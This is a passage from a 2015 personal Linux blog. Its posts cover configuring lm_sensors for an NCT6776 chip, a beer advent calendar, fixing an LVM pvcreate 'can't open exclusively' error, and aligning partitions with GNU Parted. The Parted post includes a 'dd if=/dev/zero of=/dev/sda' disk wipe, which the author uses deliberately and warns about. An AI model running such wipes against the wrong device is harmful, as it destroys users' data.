Core 0: +34.0°C (high = +80.0°C, crit = +98.0°C)
Core 1: +31.0°C (high = +80.0°C, crit = +98.0°C)
Core 2: +36.0°C (high = +80.0°C, crit = +98.0°C)
Core 3: +33.0°C (high = +80.0°C, crit = +98.0°C)
nct6776-isa-0290
Adapter: ISA adapter
Vcore: +0.97 V (min = +0.00 V, max = +1.74 V)
in1: +1.02 V (min = +0.00 V, max = +0.00 V) ALARM
AVCC: +3.33 V (min = +2.98 V, max = +3.63 V)
+3.3V: +3.31 V (min = +2.98 V, max = +3.63 V)
in4: +1.01 V (min = +0.00 V, max = +0.00 V) ALARM
in5: +2.04 V (min = +0.00 V, max = +0.00 V) ALARM
in6: +0.84 V (min = +0.00 V, max = +0.00 V) ALARM
3VSB: +3.42 V (min = +2.98 V, max = +3.63 V)
Vbat: +3.36 V (min = +2.70 V, max = +3.63 V)
fan1: 0 RPM (min = 0 RPM)
fan2: 703 RPM (min = 0 RPM)
fan3: 0 RPM (min = 0 RPM)
fan4: 819 RPM (min = 0 RPM)
fan5: 0 RPM (min = 0 RPM)
SYSTIN: +36.0°C (high = +0.0°C, hyst = +0.0°C) ALARM sensor = thermistor
CPUTIN: -60.0°C (high = +80.0°C, hyst = +75.0°C) sensor = thermal diode
AUXTIN: +35.0°C (high = +80.0°C, hyst = +75.0°C) sensor = thermistor
PECI Agent 0: +26.0°C (high = +80.0°C, hyst = +75.0°C)
(crit = +88.0°C)
PCH_CHIP_TEMP: +0.0°C
PCH_CPU_TEMP: +0.0°C
PCH_MCH_TEMP: +0.0°C
That's all great and all, but what the heck are in 1, 4-6 and fan 1-5? Are the in 1, 4-6 readings really reliable? Why are there sensors with 0 RPM readings? CPUTIN indicating -60 degrees, really? PCH-temps are all 0, why?
Investigation
In order to get to bottom of all this, let's start from the chip in question. lm_sensors -setup identified it as NCT6776. For some reason Nuvoton doesn't have the data sheet anymore, but by little bit of googling, a PDF with title NCT6776F / NCT6776D Nuvoton LPC I/O popped up.
Analog inputs:
Following information can be found:
It contains following analog inputs:
- AVCC
- VBAT
- 3VSB
- 3VCC
- CPUVCORE
- VIN0
- VIN1
- VIN2
- VIN3
The good thing is, that first 5 of them are clearly labeled, but inputs 0 through 3 are not. They can be pretty much anything.
Revolution Pulse counters:
When it comes to RPM-readings, following information is available:
That lists following inputs:
- SYSFANIN
- CPUFANIN
- AUXFANIN0
- AUXFANIN1
- AUXFANIN2
Looks like all of those have connectors on my motherboard.
Temperature Sources:
For the temperature measurements, the chip has:
The analog temperature inputs are:
- SMIOVT1
- SMIOVT2
- SMIOVT3
- SMIOVT4
- SMIOVT5
- SMIOVT6
According to the above table, they're mapped into AUXTIN, CPUTIN and SYSTIN.
Also on top of those, there is PECI (Platform Environment Control Interface). A definition says "PECI is a new digital interface to read the CPU temperature of Intel® CPUs". So, there aren't any analog pins for that, but there are readings available, when questioned.
Configuration
A peek in to /etc/sensors3.conf at the definition of the chip shows:
chip "w83627ehf-*" "w83627dhg-*" "w83667hg-*" "nct6775-*" "nct6776-*"
label in0 "Vcore"
label in2 "AVCC"
label in3 "+3.3V"
label in7 "3VSB"
label in8 "Vbat"
set in2_min 3.3 * 0.90
set in2_max 3.3 * 1.10
set in3_min 3.3 * 0.90
set in3_max 3.3 * 1.10
set in7_min 3.3 * 0.90
set in7_max 3.3 * 1.10
set in8_min 3.0 * 0.90
set in8_max 3.3 * 1.10
And that's all. I guess that would be ok for the generic case, but in my particular box that list of settings doesn't cover half of the inputs.
Solution
Configuration changes
I added following settings for temperature into "chip "w83627ehf-*" "w83627dhg-*" "w83667hg-*" "nct6775-*" "nct6776-*""-section:
label in0 "Vcore"
set in0_min 1.1 * 0.9
set in0_max 1.1 * 1.15
label in1 "+12V"
compute in1 @ * 12, @ / 12
set in1_min 12 * 0.95
set in1_max 12 * 1.1
label in2 "AVCC"
set in2_min 3.3 * 0.95
set in2_max 3.3 * 1.1
label in3 "+3.3V"
set in3_min 3.3 * 0.95
set in3_max 3.3 * 1.1
label in4 "+5V"
compute in4 @ * 5, @ / 5
set in4_min 5 * 0.95
set in4_max 5 * 1.1
ignore in5
ignore in6
label in7 "3VSB"
set in7_min 3.3 * 0.95
set in7_max 3.3 * 1.1
label in8 "Vbat"
set in8_min 3.3 * 0.95
set in8_max 3.3 * 1.1
The obvious problem still stands: what are the undocumented in 1, 4, 5 and 6? Mr. Ian Dobson at Ubuntuforums.org discussion about NCT6776 claims, that in1 is for +12 VDC power and in4 is for +5VDC power. I cannot deny nor confirm that for my board. The Novoton-chip only provides the inputs, but there is absolutely no way of telling how the manufacturer chooses to connect them to various parts of the MoBo. I took the same assumption, so all that was necessary, was to multiply the input data by 12 and 5 to get a proper reading. I don't know what in5 and in6 are for, that's why I remove them from the display. All the other ones are min and max boundaries for the known readings.
The fan settings are machine specific, in my case:
label fan2 "CPU fan"
set fan2_min 200
label fan4 "HDD fan"
set fan4_min 200
ignore fan1
ignore fan3
ignore fan5
As I only have fans connected to 2 out of 5, I'll ignore the not connected ones. For the connected, I set a lower limit of 200 RPM.
Temperatures are motherboard-specific. In my case, I did following additions:
label temp1 "MB"
set temp1_max 38
set temp1_max_hyst 35
label temp3 "CPU"
label temp7 "CPU?"
ignore temp2
ignore temp8
ignore temp9
ignore temp10
The easy part is to remove the values not displaying anything. The hard part is to try to figure out what the measurements indicate. Based on the other readings, temp3 is CPU combined somehow. The other sensor is displaying rougly same values for each core I have there. However, the temp7 is for PECI, but it doesn't behave anything like CPU-temps. It should, but it doesn't. That's why I left a question mark after it.
Resulting output
After the additions, following output is available:
coretemp-isa-0000
Adapter: ISA adapter
Physical id 0: +48.0°C (high = +80.0°C, crit = +98.0°C)
Core 0: +48.0°C (high = +80.0°C, crit = +98.0°C)
Core 1: +40.0°C (high = +80.0°C, crit = +98.0°C)
Core 2: +43.0°C (high = +80.0°C, crit = +98.0°C)
Core 3: +39.0°C (high = +80.0°C, crit = +98.0°C)
nct6776-isa-0290
Adapter: ISA adapter
Vcore: +1.22 V (min = +0.99 V, max = +1.26 V)
+12V: +12.29 V (min = +11.42 V, max = +13.25 V)
AVCC: +3.33 V (min = +3.14 V, max = +3.63 V)
+3.3V: +3.31 V (min = +3.14 V, max = +3.63 V)
+5V: +5.04 V (min = +4.76 V, max = +5.52 V)
3VSB: +3.42 V (min = +3.14 V, max = +3.63 V)
Vbat: +3.38 V (min = +3.14 V, max = +3.63 V)
CPU fan: 912 RPM (min = 200 RPM)
HDD fan: 897 RPM (min = 200 RPM)
MB: +35.0°C (high = +38.0°C, hyst = +35.0°C) sensor = thermistor
CPU: +37.0°C (high = +80.0°C, hyst = +75.0°C) sensor = thermistor
CPU?: +37.0°C (high = +80.0°C, hyst = +75.0°C)
(crit = +88.0°C)
Before taking the readings, I ran sensors -s to set the min/max values.
Now my output starts making sense and I can actually monitor any changes.
PS.
At the time of writing this article, website http://www.lm-sensors.org/ was down for multiple days in a row. I can only hope, that project personnel solves the issue with the web site and it is up at the time you're seeing this.
Advent calendar 2015
Sunday, November 15. 2015
Like last year, I happened to get me an advent calendar this year too. The layout is a classic 24 x 0,5L containing 24 lids for the days in random order:
There seems to be .... erhm.... problems transporting alcohol to Finland, and many European vendors have pulled Finland off their available destinations. Amazon.de still delivers Lieferello goodies to us, so I got my Drinks & Fun Die Weihnachtsbrauerei Bier-Adventskalender. The same thing at Lieferello site would be here.
Now I'm just waiting for the 1st of December.
Update 17th and 28th Dec:
To squash a FAQ: The beers in the calendar are different. It wouldn't make any sense to buy a 24 pack of beers and call it an advent calendar. See:
- Felsgold Premium Pilsener
- Carl Theodor Lager
- Felskrone Premium Pilsener
- Pilsator Pilsener
- Durlacher Hof Weissbier
- Brauburger Premium Pilsener
- Harboe Bear Beer Strong Stout 8%
- Eichbaum Red Beer
- Edel Bayer Urtyp Hell
- Darguner Pilsener
- Kress Bayrisch Zwickel
- Barbarossa Premium Schwarzbier
- 5.0 Original Pils
- Durlacher Hof Weissbier (Hefeweissbier)
- Frankenthaler Germania Premium Strong
- Regenten Pilsener
- Maisel St. Michaelsberg 1122 Premium Pilsener
- König Wilhelm Hefeweissbier
- Mecklenburger Pilsener
- Dinkelacker CD-Pils
- von Raven Pilsener
- Eichbaum Pilsener
- Barbarossa Brauerei Helles Hefeweizen
Replacing physical drive for LVM - pvcreate Can't open /dev exclusively
Sunday, November 8. 2015
This is part 2 of my hard drive upgrade. My previous part was about failure to partition a replaced hard drive with GNU Parted: It was just emitting an error of: "The resulting partition is not properly aligned for best performance"
When I had the drive partitioned properly, I failed to proceed with my setup in a yet another mysterious error. My drives are always using LVM, so that I get more control over the filesystem sizes. To get the new partition into LVM, it needs to be associated with a Volume Group (VG). First step is to inform LVM about new physical drive:
# pvcreate /dev/sda1
Can't open /dev/sda1 exclusively. Mounted filesystem?
Oh really? It's definitely not mounted, but ... somebody is stealing my resource. The root of this problem is obviously on the fact, that there used to be a PV on that partition, but I replaced the drive and partitioned it. It is entirely possible, that LVM likes to fiddle with my new partition somehow.
The device mapper knows about the partition:
# dmsetup ls
Box_vg1-LogVol_wrk2 (253:9)
That's kind of bad. I guess it likes to hold on into it. Further check of:
# pvdisplay
... indicates, that LVM doesn't know about the partition (yet), but Linux kernel does.
An attempt to fix:
# dmsetup remove Box_vg1-LogVol_wrk2
And new attempt:
# pvcreate /dev/sda1
Can't open /dev/sda1 exclusively. Mounted filesystem?
No change. Perhaps a strace will provide helpful details of the problem:
# strace pvcreate /dev/sda1
...
stat("/dev/sda1", {st_mode=S_IFBLK|0660, st_rdev=makedev(8, 1), ...}) = 0
stat("/dev/sda1", {st_mode=S_IFBLK|0660, st_rdev=makedev(8, 1), ...}) = 0
open("/dev/sda1", O_RDWR|O_EXCL|O_DIRECT|O_NOATIME) = -1 EBUSY (Device or resource busy)
...
Reading a fragment of OPEN(2) man page:
OPEN(2)
open, openat, creat - open and possibly create a file
O_EXCL Ensure that this call creates the file: if this flag is
specified in conjunction with O_CREAT, and pathname already
exists, then open() will fail.
In general, the behavior of O_EXCL is undefined if it is used
without O_CREAT. There is one exception: on Linux 2.6 and
later, O_EXCL can be used without O_CREAT if pathname refers
to a block device. If the block device is in use by the
system (e.g., mounted), open() fails with the error EBUSY.
... confirms the suspicion, that somebody is holding a handle to the block device. Running lsof(8) or fuser(1) yield nothing. It's not a file-handle, when kernel has your block device as hostage.
My only idea at this point was to do a wimpy Windows-style reboot. The thing is: Linux-men don't reboot on anything, but this time I was out of ideas. I'm sure somewhere there is an IOCTL-call to release the handle, but I couldn't find it easily. So, a reboot was in order.
After the reboot: yes results:
# pvcreate /dev/sda1
Physical volume "/dev/sda1" successfully created
Then I could proceed with my build sequence. Next, associate a Volume Group with the new Pysical Volume. The options would be to to add the drive into an existing VG, or create a new one. I chose the latter:
# vgcreate Box_vg1 /dev/sda1
Volume group "Box_vg1" successfully created
Then create a logical partition, or Logical Volume in LVM-lingo on the newly created VG:
# lvcreate -L 800G -n LogVol_wrk2 Box_vg1
Logical volume "LogVol_wrk2" created
As a physical partition also a LV needs to have a filesystem on it, to be usable for the operating system:
# mkfs.ext4 /dev/Box_vg1/LogVol_wrk2
mke2fs 1.42.12 (29-Aug-2014)
Creating filesystem with 209715200 4k blocks and 52428800 inodes
Filesystem UUID: 93be6c97-3ade-4a62-9403-789f64ef73d0
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968,
102400000
Allocating group tables: done
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
Now the drive was ready to be mounted and I had plenty of completely empty space waiting for data to be stored on it.
I plugged in a SATA-USB -dock and started looking for my old data. I intentionally had created a VG with precisely the same name as the old drive had, so there was an obvious collision. My syslog had entries about the pvscan:
Nov 8 16:03:21 pvscan: device-mapper: create ioctl on Box_vg1-LogVol_wrk2 failed: Device or resource busy
Nov 8 16:03:21 pvscan: 0 logical volume(s) in volume group "Box_vg1" now active
Nov 8 16:03:21 pvscan: Box_vg1: autoactivation failed.
Yes, that one I had coming. No autoactivation, as VG names collided. A check:
# vgdisplay
--- Volume group ---
VG Name Box_vg0
...
--- Volume group ---
VG Name Box_vg1
...
--- Volume group ---
VG Name Box_vg1
...
VG UUID trx8sq-2Mtf-2tfa-2m1P-YPGq-cVzA-6fWflU
No surprises there, there were two Volume Groups with exactly same name. To address them, there are unique identifiers or UUIDs. With UUID, it is possible to rename the VG. Like this:
# vgrename trx8sq-2Mtf-2tfa-2m1P-YPGq-cVzA-6fWflU Box_vgold
Volume group "Box_vg1" successfully renamed to "Box_vgold"
Now it would be possible to activate and it would appear on udev:
# vgchange -ay Box_vgold
1 logical volume(s) in volume group "Box_vgold" now active
Now the old data was available at /dev/Box_vgold/LogVol_wrk2 and ready to be mounted and files copied out of it.
Done and mission accomplished! Now I had much more space on a fast drive.
GNU Parted: Solving the dreaded "The resulting partition is not properly aligned for best performance"
Saturday, November 7. 2015
On the other day I was cleaning out junk from my shelfs and found a perfectly good WD Caviar Black hard drive. Obviously in the current SSD-era where your only computer is a laptop and most of your data is stashed into a cloud somewhere, no regular Joe User is using spinning platters.
Hey! I'm not a regular, nor joe. I have a Linux-server running with plenty of capacity in it for my various computing needs. So, the natrural thing to do is to pop out one of the old drives and hook this 1,5 TiB high performing storage monster to replace it. The actual hardware installation on an ATX-case isn't anything worth documenting, but what happens afterwards goes pretty much this sequence: 1) partition the drive, 2) copy all/some of the old data back to it and 3) continue living successfully ever after.
The typical scenario is that something always at least hiccups, if not fails. And as expected, I choked on the 1).
Here goes:
Preparation
The drive had been used previously, and I just wasted the beginning of the drive by writing 10k sectors of nothingness. This will remove all traces of possible partition tables, boot sectors and all the critical metadata of the drive you normally value highly:
# dd if=/dev/zero of=/dev/sda bs=512 count=10000
Pay attetion to the details. It would be advisable to target a correct drive. In my case a regular JBOD-drive really appears as /dev/sda on the Linux-side. On your case, I'm pretty sure your operating system runs on /dev/sda, so please don't wipe that.
Then with GNU Parted, create a GUID partition table (or GPT):
# parted /dev/sda
GNU Parted 3.1
Using /dev/sda
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) mktable gpt
That's it for the preparation part.
Attempt 1: The stupid way
Regardless what's on the drive already (in my case, its completely empty), Parted syntax allows an approach, where you create a partition using the maximum allowed capacity from start 0, to end -1. Like this:
(parted) mkpart LVM ext4 0 -1
Warning: The resulting partition is not properly aligned for best performance.
Ignore/Cancel? c
That obviously will emit an error about non-optimal partition alignment. But hey, that's what I asked for. I obviously cancelled that attempt.
Attempt 2: The smart way
A smart approach would be to see about the boundaries:
(parted) print free
Model: ATA WDC WD1502FAEX-0 (scsi)
Disk /dev/sda: 1500GB
Sector size (logical/physical): 512B/512B
Partition Table: gpt Disk Flags:
Number Start End Size File system Name Flags
17.4kB 1500GB 1500GB Free Space
Now we have a range of 17.4 KiB to 1500 GiB which can be used for a new partition. Let's try that:
(parted) mkpart LVM ext4
Start? 17.4kB
End? 1500GB
Warning: You requested a partition from 16.9kB to 1500GB (sectors 33..2929687500).
The closest location we can manage is 17.4kB to 1500GB (sectors 34..2930277134).
Is this still acceptable to you? Yes/No? y
Warning: The resulting partition is not properly aligned for best performance.
Ignore/Cancel? c
I have bumped into this number of times earlier. Why in the f**k cannot the Parted tell me what values it wants to see there!! Come on!
This is the part where it hits me like a hammer: enough bullshit, let's solve this once and for all!
Attempt 3: Solution
This is the script I wrote: parted_mkpart_calc.sh.
It is based on the information found from following sources:
- How to align partitions for best performance using parted, somebody else is having the same fight than I do
- I/O Limits: block sizes, alignment and I/O hints, information about the Parted alignment calculation
- https://www.kernel.org/doc/Documentation/ABI/testing/sysfs-block, Linux kernel block-device ABI information
It is a Bash-script to do the math for you. Example usage:
$ ./parted_mkpart_calc.sh sda
Using default 1 MiB default alignment in calc
Calculated alignment for /dev/sda (gpt) is: 2048s
If you would be root, you could create partition with:
# parted /dev/sda mkpart [name] [type] 2048s 2930276351s
Verify partition alignment with:
# parted /dev/sda align-check optimal 1 Should return: 1 aligned
I just enter one argument to the script: sda. From that, the script deduces the alignment, that should be used when partitioning that block-device. In this case it is 2048 sector boundaries (what it doesn't say is, that a sector contains 512 bytes). But it outputs 2 commands which can be copy/pasted (as root):
parted /dev/sda mkpart [name] [type] 2048s 2930276351s
If you would replace [name] with a partition name and [type] with a partition type, it would create a correctly aligned partition to fill up most of the drive. It won't fill up exactly all of the drive, because of the alignment issues.
To help that issue, I added a feature to do the following:
$ ./parted_mkpart_calc.sh sda LVM ext4
Optionally, you can provide the partition name and type on the command line to get:
parted /dev/sda mkpart LVM ext4 2048s 2930276351s
as output. That's ready-to-go copy/paste material.
Finally, you can verify the correct alignment:
# parted /dev/sda align-check optimal 1
1 aligned
That's the proof, that calc worked ok.
Attempt 4: The simple way
It didn't take long, before I got my first comment on this article. It was simply: "Why didn't you use percentages?". What? What percentages.
Example:
(parted) unit s
(parted) print
Model: ATA WDC WD1502FAEX-0 (scsi)
Disk /dev/sda: 2930277168s
Sector size (logical/physical): 512B/512B
Partition Table: gpt
Disk Flags:
Number Start End Size File system Name Flags
1 2048s 2930276351s 2930274305s LVM
(parted) rm 1
(parted) mkpart LVM ext4 0% 100%
(parted) print
Model: ATA WDC WD1502FAEX-0 (scsi)
Disk /dev/sda: 2930277168s
Sector size (logical/physical): 512B/512B
Partition Table: gpt
Number Start End Size File system Name Flags
1 2048s 2930276351s 2930274305s LVM
Using range 0% 100% will produce exactly the same results. Amazing!
So, parted knows the alignment and can use it, but not if you don't first do a rain dance and knock three times on a surface sprinkled with holy water.
Final Words
Why does Parted complain about mis-alignment, but offers no help at all? That's just plain stupid!
Of course, I should add the feature to the source code and offer the patch to FSF, but on the other hand. Naah. I don't want to waste any more energy on this madness.
